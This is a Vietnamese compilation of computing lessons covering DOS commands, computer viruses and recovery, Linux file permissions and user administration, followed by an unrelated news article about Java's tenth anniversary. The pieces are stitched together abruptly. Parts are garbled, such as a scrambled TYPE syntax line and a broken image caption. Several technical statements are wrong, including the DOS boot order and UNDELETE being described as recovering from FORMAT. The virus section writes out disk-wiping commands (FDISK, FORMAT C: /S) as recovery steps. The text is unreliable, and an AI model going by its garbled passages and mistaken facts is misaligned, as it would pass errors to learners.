Lệnh trên sẽ hiển thị các tệp, thư mục thuộc thư mục WINDOWS nằm trong thư mục gốc ổ đĩa C thành 5 hàng và dừng lại sau khi hiển thị hết một trang màn hình. Muốn xem tiếp chỉ việc nhấn một phím bất kỳ.
. Lệnh chuyển về thư mục gốc và vào một thư mục nào đó.
+ Chuyển từ thư mục hiện thời về thư mục gốc của ổ đĩa hiện hành.
CD\
+ Lệnh chuyển về cấp thư mục cao hơn một bậc.
CD..
+ Chuyển vào một thư mục
Lệnh này thay đổi thư mục hiện hành cần làm việc của đĩa nào đó
CD [drive:]\[path] ( tên thư mục cần vào)
Ví dụ:
– Từ thư mục C:\ chuyển vào thư mục DAIHOC (Thư mục DAIHOC nằm trên ổ đĩa C)
C:\CD DAIHOC
C:\DAIHOC>_
– Từ thư mục DAIHOC, chuyển sang thư mục BAITAP( Thư mục BAITAP nằm trên ổ đĩa C)
C:\DAIHOC>CD BAITAP
C:\DAIHOC\BAITAP>_
. Lệnh xem ý nghĩa của câu lệnh
C:\> [Tên lệnh] /?
Ví dụ: Xem ý nghĩa của câu lệnh CD
C:\CD /?
. Lệnh tạo thư mục con(MD):
MD [drive:]\[path]
[drive:]\[path] : Chỉ ra đường dẫn đến nơi cần tạo thư mục.
Ví dụ:
C:\MD HOC Tạo Thư mục HOC Trên thư mục gốc của Ổ đĩa C
C:\MD HOC\HOCDOS Tạo thư mục HOCDOS là thư mục con cua thư mục HOC
C:\MD A:\DAIHOC Tạo thư mục DAIHOC trên ổ đĩa A
.Lệnh xoá thư mục con(RD)
Lệnh huỷ bỏ (xoá) thư mục:
RD [drive:]\[path]
Chú ý: thư mục cần xoá không phi là thư mục hiện hành và phi là thư mục rỗng (Empty Directory) ( tức là không có một tệp hay một thư mục nào năm trong nó).
Ví dụ: C:\RD DAIHOC Xoá thư mục DAIHOC( Là thư mục rỗng) trên ổ đĩa C
1.3. Các lệnh làm việc với tập tin
. Lệnh sao chép tập tin(COPY):
Lệnh này sao chép một hay một nhóm tệp từ thư mục này sang thư mục khác.
Copy [drive1:]\[path1]\[Filename 1] [drive2:]\[path2]\[Filename 2]
Copy [ổ đĩa]\[đường dẫn]\[tên tệp nguồn] ổ đĩa ]\[đường dẫn đích]
Ví dụ1: Chép tệp BAOCAO.VNS từ thư mục A:\BKED vào thư mục gốc của ổ đĩa C: và lấy tên là BAOCAO.VNS.
C:\>COPY A:\BKED\BAOCAO.VNS
Ví dụ2: Sao chép tệp TUHOC.TXT từ thư mục gốc ổ đĩa C thành tệp HOCTHUOC.TXT ở thư mục HOC nằm trong thư mục gố ổ đĩa A.
C:\COPY C:\TUHOC.TXT A:\HOC\HOCTHUOC.TXT
Lệnh cộng tệp:
Cộng nội dung file:
Copy [ổ đĩa][đường dẫn][tên tệp 1]+[ổ đĩa][đường dẫn] [tên tệp 2]+ … [ổ đĩa][đường dẫn][tên tệp mới]
Trong cú pháp trên lệnh sẽ thực hiện như sau:
Lần lượt cộng nội dung của các tệp: Tên tệp 1, Tên tệp 2, … thành một tệp duy nhất có tên là Tên tệp mới.
Chú ý: Trước tên tệp mới không có dấu (+), còn trước tên tệp muốn công phi có dấu cộng.
Ví dụ: C:\COPY CD1.TXT+CD2.TXT+CD3.TXT C:\MYDOCU~1\CD.TXT
Lệnh tạo tệp tin(COPY CON):
Tạo ra file để lưu trữ nội dung của một vấn đề nào đó.
C:\COPY CON [drive:]\[path]\[File name]
…. Nhập nội dung của tệp
F6
1 file(s) is copied
C:\_
(Nếu như tệp được tạo thì sau khi nhấn F6 sẽ có thông báo: 1 file(s) is copied trên màn hình, nếu như tệp không được tạo vì một lý do nào đó thì dòng thông báo sẽ là 0 file(s) is copied)
Ví dụ: C:\>COPY CON BAITHO.TXT Tạo tệp BAITHO.TXT trên ổ đĩa C
. Lệnh xem nội dung tập tin (TYPE):
Lệnh dùng để xem (hiển thị) nội dung một tệp tin trên màn hình.
TYPE <Đường dẫn>\<TỆP dung nội xem muốn tin>
Sau khi nhập đúng đường dẫn và tập tin thì nội dung sẽ được hiển thị trên màn hình.
Nếu như trong cú pháp trên không đúng hoặc sai tên tệp tin, đường dẫn thì sẽ có dòng
thông báo lỗi hiển thị ví dụ như:
– Bad command or filename
– Invalid drive Specification
– Path not found – …
– Requirent parameter missing
Ví dụ: C:\>TYPE BAITHO.TXT Dùng để xem nội dung tập tin BAITHO.TXT
Trên Ổ Đĩa C.
. Đổi tên tệp tin(REN):
Thay đổi tên file còn nội dung thì giữ nguyên.
REN [d:][path][fileName]
Ví dụ: C:\REN VANBAN\THUVIEN.DOC \VANBAN\HOPDONG.TXT¿
Đổi tên file THUVIEN.DOC thành file HOPDONG.TXT nằm trong cùng một thư mục.

. Xoá nội dung tập tin(DEL):
DEL [ổ đĩa][đường dẫn][tên tệp cần xoá]
VD: C:\DEL C:\VANBAN\HOPDONG.TXT
Xoá tên file HOPDONG.TXT trong thư mục VANBAN ở ổ đĩa C:
II. Lệnh ngoại trú
Là những lệnh thi hành chức năng nào đó của HĐH nhưng ít được sử dụng và đỡ tốn bộ nhớ của máy người ta lưu trữ nó trên đĩa dưới dạng các tập tin có phần mở rộng là: COM hoặc EXE
[d:] [path] [] [<TUỲ chọn>]
[d:] [path]: ổ đĩa đường dẫn đến tên lệnh
: là tên chính của tên tệp tin chương trình

Lệnh định dạng đĩa (FORMAT)
Tạo dạng cho đĩa mềm hay đĩa cứng …
[d:] [path] Format [d1] [/tham số]
[d:][Path]: ổ đĩa đường dẫn đến tên lệnh
[d:]: Tên ổ đĩa cần định dạng
Tham số:
/s: Tạo đĩa hệ thống.
/u: format mà sau đó không thể sử dụng lệnh UNFORMAT để lấy lại dữ liệu.
/q: định dạng nhanh
Ví dụ: Định dạng đĩa mềm trong ổ đĩa A theo đúng dung lượng của ổ đĩa và sao chép các tệp cần thiết để khởi động máy vào đĩa.
C\:FORMAT A: /S
Lệnh sao chép các tập tin hệ thống:
Tác dụng: cho phép chép các tập tin hệ thống.
[d:][Path]sys [d1:]
Ví dụ: C:\sys A:
Lệnh phục hồi đĩa(UNDELETE)
Phục hồi đĩa bị xoá bởi lệnh định dạng đĩa FORMAT
[d:][Path] UNDELETE [d1][path1]
Lệnh kiểm tra đĩa(CHKDSK):
Kiểm tra đĩa và thông báo tình trạng đĩa.
CHKDSK
Tham số /F sẽ hiển thị số Sector bị hỏng khi kết thúc quá trình kiểm tra.
Ví dụ: CHKDSK C:
Lệnh SCANDISK :
Lệnh này dùng để kiểm tra cấu trúc tệp của đĩa và sau đó tiến hành kiểm tra các lỗi vật lý trên bề mặt đĩa.
SCANDISK tên ổ đĩa
Ví dụ: SCANDISK A:
Tệp lệnh bó:
Lệnh bó thực chất là một tệp trong đó liệt kê thứ tự thực hiện các lệnh được liệt kê trong tệp. Trong số các tệp lệnh bó, quan trọng nhất bao gồm hai tệp sau:
Tệp AUTOEXEC.BAT Tệp lệnh Autoexec.bat là một tệp lệnh đặc biệt nằm ở thư mục gốc ổ đĩa khởi động. Khi khởi động hệ điều hành, các lệnh trong tệp Autoexec.bat sẽ thực hiện theo tuần tự.
Ví dụ:
@ECHO – Lệnh hiển thị một dòng trắng trên màn hình
SMARTDRV.EXE – Gọi tệp tạo vùng đệm cho đĩa
MSCDEX /D:MSCD001 /V – Gọi tệp khởi tạo chương trình điều khiển ổ CD trên DOS.
SET BLASTER=A220 I5 D0 P300 – Lệnh đặt đường điều khiển âm thanh trên DOS ra loa.
SET PATH=%PATH%;C:\PROGRA~1\COMMON~1\AUTODE~1 – Lệnh thiết đặt đường dẫn mặc định khi tìm tệp.
Tệp CONFIG.SYS
Tệp lệnh CONFIG.SYS là tệp được gọi chạy đầu tiên của hệ điều hành khi khởi động máy. Sau khi nhận được lệnh khởi động máy từ ROM-BIOS, hệ điều hành sẽ lần lượt gọi chạy các tệp COMMAND.COM, MS-DOS.SYS, IO.SYS. Sau khi quá trình trên kết thúc, hệ điều hành sẽ tìm kiếm trên thư mục gốc ổ đĩa khởi động xem có tệp CONFIG.SYS hay không, nếu có nó sẽ tuần tự thực hiện các lệnh trong tệp đó, nếu có/không thì sau đó vẫn tiếp tục kiểm tra xem có tệp AUTOEXEC.BAT hay không, nếu có thì cũng tuần tự thực hiện các lệnh có trong tệp này, nếu có/không thì kết thúc quá trình khởi động và trả lại quyền điều khiển cho người sử dụng.
Ví dụ: Nội dung của một tệp CONFIG.SYS
DEVICE=C:\WINDOWS\HIMEM.SYS – Nạp chương trình khởi tạo và điều khiển bộ nhớ mở rộng
DEVICE=C:\CDPRO\VIDE-CDD.SYS /D:MSCD001 Nạp chương trình khởi tạo và điều khiển ổ CD
FILES=90 – Quy định số tệp được mở đồng thời tối đa
BUFFERS=40 – Quy định số bộ nhớ đệm cho mỗi lần mở tệp
III. VIRUS tin học
3.1. Khái niệm VIRUS
VIRUS tin học là một chương trình máy tính do con người tạo ra nhằm thực hiện ý đồ nào đó. Các chương trình này có đặc điểm:
– Kích thước nhỏ.
– Có khả năng lây lan, tức là tự sao chép chính nó lên các thiết bị lưu trữ dữ liệu như đĩa cứng, đĩa mềm, bằng từ …
– Hoạt động ngầm: hầu như người sử dụng không thể nhận biết được sự thực hiện của một chương trình VIRUS vì kích thước của nó nhỏ, thời gian thực hiện nhanh và người viết VIRUS luôn tìm cách che dấu sự hiện diện của nó. VIRUS nằm thường trú ở bộ nhớ trong để tiến hành lây lan và phá hoại. Hầu hết các VIRUS đều thực hiện công việc phá hoại như ghi đè lên các tệp dữ liệu, phá hỏng bảng FAT, khống chế bàn phím, sửa đổi cấu hình hệ thống, chiếm vùng nhớ trong.
Tuỳ theo nguyên tắc hoạt động, có thể chia VIRUS thành hai loại:
– Boot VIRUS là các loại nhiễm vào Master Boot và Boot Sector. Những virus này có thể làm máy tính không khởi động được, làm mất hết dữ liệu trên đĩa cững, thậm chí không khởi tạo được đĩa cứng.
-File virus là loại nhiễm vào các tệp chương trình có đuôi EXE và COM. VIRUS này làm các chương trình chạy sai hoặc không chạy. VIRUS thường nối thân của mình vào đầu hoặc cuối tệp chương trình, như vậy kích thước tệp tăng khi nhiễm.
– Nếu một đĩa mềm có VIRUS ta cho đĩa này vào máy có ổ cứng sạch thì ổ cứng của máy này sẽ bị nhiễm VIRUS. Nếu một máy tính có ổ cứng đã bị nhiễm VIRUS, ta cho một đĩa mềm sạch vào ổ A và chạy nhưng không đóng nút chống ghi lại thì đĩa mềm sẽ bị nhiễm VIRUS, từ đĩa mềm này khi ta mang đĩa mềm sang các máy khác để chạy thì VIRUS sẽ lan sang máy khác.
3.2. Nguyên tắc phòng ngừa VIRUS.
Vì vật trung gian để lây VIRUS là đĩa mềm, để phòng VIRUS ta phải rất hạn chế dùng một đĩa mềm lạ. Nếu bắt buộc phải dùng thì ta kiểm tra VIRUS đĩa mềm lạ bằng các chương trình chống VIRUS trước khi sử dụng. Song điều đó không thể hoàn toàn tin tưởng vì các chương trình chống VIRUS chỉ có khả năng phát hiện và diệt những VIRUS mà chúng đã biết. Các VIRUS mới không phát hiện được. Các chương trình chống VIRUS của nước ngoài không thể phát hiện các VIRUS sản xuất trong nước. Cần kết hợp nhiều chương trình chống VIRUS và luôn cập nhật chương trình mới nhất.
Khi mang đĩa mềm của mình đi chạy ở các nơi khác có ổ cứng thì phải bật lẫy chống ghi để tránh VIRUS xâm nhập vào đĩa. Hết sức lưu ý khi ghi thông tin từ máy khác vào đĩa của mình.
Nếu trên máy có nhiều người sử dụng thì trước khi làm việc ta nên sử dụng các chương trình chống VIRUS để kiểm tra VIRUS trên đĩa cứng.
Để phòng chống nên có một hệ thống sạch (không có virus) để khởi động máy từ ổ A, đĩa này ngoài các tệp cần thiết để khởi động máy còn cần có các tệp của DOS như: Format.com, Fdisk.exe, unformat.com, Undelete.com, Scandisk.exe. Đồng thời ta phải có các đĩa mềm chứa các chương trình chống virus với các phiên bản mới nhất bộ SCAN, FPROT, ATV, BKAV,D2… các chương trình này cũng phải lấy từ nguồn đáng tin cậy, các đĩa mềm luôn được dán nhãn bảo vệ.
3.3. Một số triệu chứng khi máy nhiễm virus
– Một số tệp có đuôi COM và EXE tự nhiên bị tăng thêm số byte, khi đó ta nghĩ máy nhiễm F-virus. Để biết điều đó ta nhờ kích thước của một số tệp quan trọng: command.com 54645 byte (của DOS6.22), foxpro.exe 411032 byte (forpro 2.6)
– Tệp chương trình đuôi COM hoặc EXE không chạy hoặc sai.
– Máy không khởi động được từ đĩa cứng hoặc không nhận biết được ổ cứng khi khởi động máy từ ổ đĩa mềm, khi đó ta nghi máy bị nhiễm B-virus.
– Máy chạy bị treo.
Tất nhiên các triệu chứng trên còn có thể là do lỗi phần cứng.
3.4. Cách xử lý khi máy bị nhiễm virus.
Khi máy bị nhiễm VIRUS chúng ta tiến hành các bước sau:
1. Tắt hoàn toàn máy tính để loại virus ra khỏi bộ nhớ trong. Khởi động lại máy bằng đĩa mềm hệ thống từ ổ A.
2. Sau khi thực hiện xong bước một máy nhận biết được ổ C thì thực hiện bước 3. Nếu máy không nhận được ổ C thì thực hiện bước 4:
3. Chạy các chương trình kiểm tra và diệt virus. Sau khi kết thúc quá trình trên thì khởi động lại máy từ ổ cứng và làm việc bình thường.
4. Chạy chương trình kiểm tra và sửa đĩa nếu như cần giữ lại thông tin trên đĩa cứng (NDD.EXE). Sau khi sao lưu dữ liệu nên làm theo các bước sau:
a. Chạy FDISK.EXE để khởi tạo lại bảng Partition (FAT) cho ổ cứng.
b. Chạy FORMAT.COM C: /S để định dạng lại ổ đĩa.
c. Cài lại hệ điều hành và ứng dụng cần thiết.
d. Sao dữ liệu lại ổ đĩa và làm việc bình thường.
Nếu như trên ổ đĩa không cần sao lưu dữ liệu lại thì có thể chạy ngay FDISK.EXE mà không cần chạy qua NDD.EXE

Các thư mục và hệ thống tập tin

Hệ thống tập tin của Linux và Unix được tổ chức theo một hệ thống phân bậc tương tự cấu trúc của một cây phân cấp. Bậc cao nhất của hệ thống tập tin là thư mục gốc, được ký hiệu bằng vạch chéo “/” (root directory). Đối với các hệ điều hành Unix và Linux tất các thiết bị kết nối vào máy tính đều được nhận dạng như các tập tin, kể cả những linh kiện như ổ đĩa cứng, các phân vùng đĩa cứng và các ổ USB. Điều này có nghĩa là tất cả các tập tin và thư mục đều nằm dưới thư mục gốc, ngay cả những tập tin biểu tượng cho các ổ đĩa cứng.

Ví dụ, /home/nttvinh/nguyen/scnp.odt chỉ toàn bộ đường dẫn đến tập tin scnp.odt có trong thư mục nttvinh là thư mục phụ nằm trong thư mục home, ngay dưới thư mục gốc (/).

Nằm dưới thư mục gốc (/) có một loạt các thư mục quan trọng của hệ thống tập tin được công nhận ở tất cả các bản phân phối Linux khác nhau. Sau đây là danh sách các thư mục thông thường được nhìn thấy dưới thư mục gốc (/) :

*
/bin – chứa các ứng dụng quan trọng (binary applications),
*
/boot – các tập tin cấu hình cho quá trình khởi động hệ thống (boot configuration files),
*
/dev – chứa các tập tin là chứng nhận cho các thiết bị của hệ thống (device files)
*
/etc – chứa các tập tin cấu hình của hệ thống, các tập tin lệnh để khởi động các dịch vụ của hệ thống…
*
/home – thư mục này chứa các thư mục cá nhân của những người có quyền truy cập vào hệ thống (local users’ home directories),
*
/lib – thư mục này lưu các thư viện chia sẻ của hệ thống (system libraries)
*
/lost+found – thư mục này được dùng để lưu các tập tin không có thư mục mẹ mà được tìm thấy dưới thư mục gốc (/) sau khi thực hiện lệnh kiểm tra hệ thống tập tin (fsck).
*
/media – thư mục này được dùng để tạo ra các tập tin gắn (loaded) tạm thời được hệ thống tạo ra khi một thiết bị lưu động (removable media) được cắm vào như đĩa CDs, máy ảnh kỹ thuật số…
*
/mnt – thư mục này được dùng để gắn các hệ thống tập tin tạm thời (mounted filesystems),
*
/opt – thư mục dùng dể chứa các phần mềm ứng dụng (optional applications) đã được cài đặt thêm,
*
/proc – đây là một thư mục đặc biệt linh động để lưu các thông tin về tình trạng của hệ thống, đặc biệt về các tiến trình (processes) đang hoạt động,
*
/root – đây là thư mục nhà của người quản trị hệ thống (root),
*
/sbin – thư mục này lưu lại các tập tin thực thi của hệ thống (system binaries)
*
/sys – thư mục này lưu các tập tin của hệ thống (system files),
*
/tmp – thư mục này lưu lại các tập tin được tạo ra tạm thời (temporary files),
*
/usr – thư mục này lưu và chứa những tập tin của các ứng dụng chính đã được cài đặt cho mọi người dùng (all users),
*
/var – thư mục này lưu lại tập tin ghi các số liệu biến đổi (variable files) như các tập tin dữ liệu và tập tin bản ghi (logs and databases).

Ổ đĩa và các Partition

/dev/hda Ổ đĩa cứng IDE đầu tiên (chính)
*
/dev/hdb Ổ đĩa cứng IDE thứ hai (thứ cấp)
*
/dev/sda Ổ đĩa cứng SCSI đầu tiên
*
/dev/sdb Ổ đĩa cứng SCSI thứ hai
*
/dev/fd0 Ổ đĩa mềm đầu tiên
*
/dev/fd1 Ổ đĩa mềm thứ hai

Ví dụ chúng ta chạy lệnh ls –l firstdoc.txt thấy kết quả như sau:

-rwxrw-r– 1 User1 Testers 512 Oct 24 19:42 firstdoc.txt

Ý nghĩa của các field là:

*
File Access Permission: -rwxrw-r–
*
Số liên kết: 1
*
File Owner: User1
*
Group: Testers
*
File Size (bytes): 512
*
Lần hiệu chỉnh cuối: Oct 24
*
Last Modification Time: 19:42
*
File name: firstdoc.txt

Ngoài ra, qua lệnh ls –l chúng ta sẽ biết được firstdoc.txt là tập tin hay thư mục dựa theo:

*
Nếu kí tự đầu tiên là (-), thì đây là tập tin.
*
Nếu kí tự đầu tiên là d, thì đối tượng là thư mục.
*
Nếu kí tự đầu tiên là l, thì đầy là một liên kết (symbolic link) trỏ đến một file khác (gần giống với shortcut trên Windows OS).
*
Nếu kí tự đầu tiên là b, đối tượng là block device ví dụ như disk drive.
*
Nếu kí tự đầu tiên là c, đối tượng là character device như serial port.

Object Ownership

Trong ví dụ trên chúng ta thấy các tập tin đều có một group owner và file owner. Trong trường hợp muốn thay đổi ownership cho group hay user khác hãy đăng nhập với quyền root và thự hiện lệnh sau để đổi quyền ownership đối với tập tin payroll.doc cho người dùng vp_finance

chown vp_finance payroll.doc

Nếu muốn đổi quyền ownership cho group accounting hãy thực hiện lệnh

chown vp_finance.accounting payroll.doc

Trong trường hợp muốn chuyển quyền ownership toàn bộ thư mục và các tập tin bên trong thì thự hiện lệnh chown với tùy chọn –R:

chown -R vp_marketing.marketing /marketing/June
chown -R .marketing /marketing/June

Ngoài ra, nếu muốn chuyển quyền ownership mà không có quyền root thì có thể dùng lệnh chgrp nhưng lúc này bạn phải thuộc group có quyền ownership và group muốn chuyển quyền này.

Để quản lý các file và folder trên Linux thì ngoài tiện ích Nautilus File System chúng ta có thể cài đặt và sử dụng Webmin để quản lý file va folder bằng giao diện web. Tuy nhiên nên sử dụng phiên bản mới nhất để bảo đảm an toàn cho hệ thống. Download và cài đặt Webmin tại www.webmin.com

Bài tập: Cài đặt WebMin theo Task 3A4

Trên Windows chúng ta có thể xem các tiến trình đang chạy bằng taskmanager, còn đối với hệ thống Linux chúng ta sử dụng lệnh ps để hiện thị các tiến trình đang hoạt động

Muốn xem chi tiết hơn hãy dùng tùy chọn aux với:

*
a— hiển thị tất cả các tiến trình.
*
u—hiển thị thêm thông tin người dùng
*
x—mở rộng danh sách các tiến trình

Chúng ta có thể sử dụng lệnh top để xem danh sách các tiến trình đang hoạt động được cập nhật theo thời gian xác định. Ví dụ để refresh danh sách các tiến trình hiển thị sau 7 giây chúng ta sử dụng lệnh:

# top d 7

Ngoài ra, sử dụng giao diện đồ họa System Monitor cũng là một giải pháp hay trong việc quản lý và xem xét các tiến trình đang hoạt động như hình sau đây:

Xem thông tin sử dụng đĩa cứng dùng lệnh df -h:

Bài tập Task 3A-5

Mounting thiết bị, ổ đĩa

Để có thể sử dụng các ổ đĩa như CDROM, FDD.. chúng ta cần mount các ổ đĩa này bằng lệnh mount như:

# mount /dev/cdrom /mnt/cdrom

Kết quả lệnh sẽ là:

Mount: block device /dev/cdrom is write-protected. mounting
read-only

Tuy nhiên, đối với các phiên bản Linux mới thì việc sử dụng CDROM đa số được hệ thống mount tự động. Ngoài ra, chúng ta có thể mount cdrom hay các ổ usb, fdd đến các thư mục do chúng ta tạo ra như:

mkdir /cdrom
mount /dev/cdrom /cdrom

Và sau khi sử dụng xong chúng ta có thể sử dụng lệnh umount trước khi lấy đĩa ra (có nhiều trường hợp phải lấy CD ra bằng cách tắt nguồn)

Các quyền truy cập

Tất cả các tập tin của một hệ thống tâp tin Linux được gắn các quyền truy cập khác nhau theo từng người dùng của hệ thống, liên quan đến các phép đọc, viết và thực hiện. Người quản trị hệ thống (super user “root”) có phép truy cập bất kỳ tập tin của hệ thống. Mỗi tập tin là sở hữu của một người nhất định và được gắn những hạn chế truy cập tùy theo người dùng và được gắn một nhóm người dùng.

Vậy mỗi tập tin được bảo đảm an toàn bởi 3 bộ quyền truy cập được gắn theo 3 nhóm người dùng như sau, theo thứ tự từ cao đến thấp:

*
user (người dùng) những quyền truy cập của nhóm này áp dụng cho người sở hữu tập tin,
*
group (nhóm người dùng) những quyền truy cập của nhóm này áp dụng cho nhóm đã được gắn với tập tin,
*
other (những người khác) những quyền truy cập của nhóm này áp dụng cho tất cả những người còn lại.

Mỗi bộ quyền truy cập sẽ xác định cụ thể các quyền truy cập thực tế đối với các tập tin và các thư mục như sau:

* read (đọc)
quyền xem nội dung tập tin hoặc mở tập tin
quyền xem nội dung của tập tin thư mục
* write (ghi, viết)
quyền ghi và sửa lại nội dung tập tin hoặc xoá tập tin
quyền sửa lại nội dung của tập tin thư mục
* execute (thực thi)
quyền này được gắn với các tập tin lệnh, nhóm người dùng đã nhận được quyền này có thể thực hiện các tập tin lệnh, quyền vào các thư mục.

Các quyền trên hệ thống Linux có thể được mô tả qua các số từ 0 đến 7 trong hệ thập phân. Ví dụ một user hay group có quyền R (read), W (write), E (execute) đối với 1 file/folder thì được kí hiệu là 1, ngược lại là 0 nếu không có quyền tương ứng (-). Và với phép chuyển từ số nhị phân sang thập phân chúng ta có bảng giá trị sau:

Vậy nếu một user/group có quyền đối với file/folder nào đó thì tương ứng với xác lập 111 ở hệ nhị phân hay 7 trong hệ thập phân, vậy quyền 777 là cho phép RWE đối với tất cả.

gười dùng và nhóm người dùng

Muốn bổ sung thêm người dùng, hoặc nhóm người dùng, cho hệ thống, bạn có thể dùng chương trình Users And Groups, trong thực đơn System -> Administration -> Users and Groups.

Để bổ sung một người dùng mới, ấn chuột vào Add user, điền các thông tin cần thiết rồi ấn chuột vào nút ghi OK. Để chỉnh lại các thuộc tính của từng người dùng, bạn có thể ấn chuột vào nút ghi Properties có trong cửa sổ chính của Users.

Để bổ sung một nhóm người dùng mới, chọn tab Groups tab và ấn chuột vào Add group. Xác định tên của nhóm mới và nếu muốn có thể thay đổi số ấn định cho nhóm (Group ID). Nếu bạn định dùng một số Group ID đã dùng rồi, hệ thống sẽ có thông báo.

Để bổ sung người dùng cho nhóm vừa mới được tạo ra, chỉ cần chọn một người dùng từ danh sách bên trái và ấn vào nút ghi Add. Muốn loại trừ một người dùng ra khỏi một nhóm cũng đơn giản bằng việc bổ sung: sau khi đã chọn tên người dùng trong cửa sổ bên phải, ấn chuột vào nút đã ghi.

Remove. Khi nào xong, ấn vào nút OK để kết thúc và thực sự tạo ra nhóm người dùng mới, cùng những người dùng thuộc nhóm đó.

Muốn sửa lại các thuộc tính của một nhóm người dùng, chọn tên của một nhóm trong cửa sổ Groups và ấn chuột vào nút đã ghi Properties.

Để xoá hoàn toàn một người dùng, hoặc một nhóm người dùng, từ hệ thống, chọn tên người dùng hoặc tên nhóm người dùng muốn xoá và ấn chuột vào nút đã ghi Delete.

Tương tự hệ thống Windows, khi cài đặt Linux (FC Core) sẽ tạo ra một tài khoản có quyền quản trị hệ thống và có thể dùng để tạo ra các tài khoản khác, đây là tài khoản cao cấp nhất có tên gọi là root. Để cấp quyền truy cập hệ thống chúng ta cần tạo ra các tài khoản người dùng, và mỗi tài khoản người dùng được gán một UID. Các tài khoản có chung thuộc tính sẽ được xếp vào các nhóm như trên hệ thống Windows và mỗi nhóm sẽ có các GID riêng.

Trên hệ thống Linux chúng ta có thể xem các User hiện có thông qua nội dung của tập tin /etc/passwd như hình dưới đây:

Trong tập tin passwd này chúng ta thấy có nhiều record với các filed khác nhau như:

*
User Account Name: login name của tài khoản người dùng.
*
Password: login password của tài khoản người dùng. Nếu chỉ thấy kí tự x trong ô này thì mật mã đã được mã hóa và bảo vệ trong tập tin shadow password.
*
User ID: số hiệu của user (UID)
*
Group ID: số hiệu Grioup mà người dùng này là thành viên (GID).
*
Full Name: tên đầy đủ của người dùng.
*
Home Directory: thư mục chủ của người dùng sau khi đăng nhập.
*
Shell: trình diễn dịch lệnh, ví dụ bash.

Khi một tài khoản mới được tạo nó sẽ được gán 1 UID, bắt đầu từ 500 trở đi và tăng dần khi các tài khoản mới được tạo ra.

Cũng như trên hệ điều hành Windows, sau khi cài đặt một số tài khoản và group mặc định sẽ được tạo như:

Các default user


Các default group

Tạo User và Group

Chúng ta có thể tạo tài khoản người dùng trên Linux bằng dòng lệnh hoặc giao diện đồ họa. Để tạo tài khoản người dùng Linux1 bằng dòng lệnh hãy thực hiện như sau:

useradd -g Users Linux1
passwd Linux1
New password: qwerty
Retype new password: qwerty

Nếu muốn xác định home folder và shell cho user khi tạo có thể sử dụng tùy chọn –d và –s

Ví dụ sau sẽ tạo ra 1 group với GID là 1024 (tùy chọn –g dùng để xác định GID, nếu không sử dụng tùy chọn này thì hệ thống sẽ tự động xác định GID cho group theo thứ tự tăng dần).

Bài tập: Add Linux User và Group

1. Để Add một User mới trên hệ thống Linux hãy click System => Administration => Users and Groups.

2. Giao diện quản lý user như sau:


3. Click Add Group trên thanh toolbar sau đó tạo 2 group finance và managers như hình sau:


4. Hãy chọn tab Users và chọn Add User để tạo các tài khoản Sam Randolph với các thông tin như sau:

User Name srandolp
Full Name Sam Randolph
Password Fishing123
Confirm Password Fishing123

Gán quyền trên các File và Folder

1.Tạo một folder tên là Share bằng cách nhấn đúp vào icon Computer sau đó mở File System. Nhấn chuột phải và chọn Create Folder.

2. Nhập vào tên folder là Shares và nhấn Enter.

3. Tiếp theo tạo 2 folder con là Finance Reports và Managers trong Shares Folder

4. Bây giờ chúng ta sẽ gán các quyền tương ứng cho người dùng trên những folder vừa tạo ra, hãy click chuột phải lên folder Finance Reports và chọn Properties. Trên cửa sổ thuột tính chọn tab Permissions (nếu không thấy tab Permissions hãy restart lại hệ thống)

5. Thay đổi các quyền trên folder này như sau:

File Group = finance
Group Permissions = Read, Write, và Execute
Other Permissions = Read only (nếu muốn duyệt thư mục phải chọn Read & Execute)

Sau khi gán quyền như trên group Finance có thể truy cập folder này còn các user khác chỉ có quyền Read.

6. Tương tự hãy gán quyền cho folder Managers như sau:

File Group = managers
Group Permissions = Read, Write, và Execute
Other Permissions = (none)

Để kiểm tra kết quả của việc gán quyền cho các folder và group hãy đăng nhập bằng các tài khoản tương ứng và tiến hành các thao tác tạo file, folder, đọc hay xóa file…

VietNamNet) – Tròn 10 năm gia nhập thế giới CNTT, hình ảnh của Java lan rộng chưa từng có. Theo đó, tập đoàn Sun Microsystems khai sinh công nghệ Java cũng vươn xa trên toàn cầu và ghi dấu ấn tại Việt Nam với việc Việt hóa ngôn ngữ lập trình Java.

10 năm Java

AM 534353 gi đến 996 để nhn ảnh này
Hình ảnh Java đang ngày càng trở nên quen thuộc trong thế giới CNTT

Năm 1995, ngôn ngữ lập trình mới có tên là Java ra đời. Khi ấy John Gage, Giám đốc nghiên cứu của hãng Sun Microsystems, cùng với Marc Andreesen, Phó Chủ tịch của hãng Nescape, chính thức công bố công nghệ này tại Hội nghị SunWorld, khẳng định sự tích hợp Java vào trình duyệt Nescape Navigator đang thịnh hành. Trải qua bao thăng trầm, từ việc coi Java là công nghệ chủ chốt của máy tính mạng NC (Network Computer) cho đến khi chẳng còn mấy ai nhớ đến NC và trình duyệt Navigator đang dần bị lãng quên; đến nay, logo của Java – một tách cafe với làn khói tỏa, cùng các applet Java – tràn ngập khắp nơi trên World Wide Web.

Sức mạnh của Java thể hiện qua những con số mà Sun Microsystem đưa ra: ước tính hiện nay có 650 triệu máy tính (PC), 579 triệu ĐTDĐ cài đặt trên nền công nghệ Java, 750 triệu SIM, card ứng dụng Java, cộng đồng thành viên Java trên toàn thế giới là 876 triệu người, Java chiếm 7/10 ứng dụng công nghệ không dây...

Sun cũng cho rằng công nghệ Java trực tiếp tạo ra giá trị kinh tế 100 triệu USD trên toàn cầu và 110 triệu USD giá trị trong những ứng dụng liên quan đến CNTT.

Công tác giáo dục, đào tạo góp phần tích cực cho sự xâm nhập của Java trong đời sống CNTT. Hiện có 4,5 triệu lập trình viên, nhà phát triển, kỹ sư phần mềm về Java trên thế giới. Trong khi đó, khi Java bắt đầu có mặt năm 1995, không ai cho rằng đây sẽ trở thành một trong những công nghệ phần mềm thành công nhất. Vậy mà nay, như miêu tả của Sun, người ta đã học Java, yêu thích và sử dụng Java và coi đó là một phần lịch sử (“They learned about it, liked it, used it, and the rest is history“)..

Tốc độ tan tỏa của Java gắn bó chặt chẽ với sự phát triển của tập đoàn Sun Microsystems. Uy lực của Java đã đưa tập đoàn Sun Microsystem từ một nhà cung cấp các công nghệ máy server đắt tiền thành tên gọi quen thuộc và là đối thủ nặng ký của các nhà cung cấp khác.

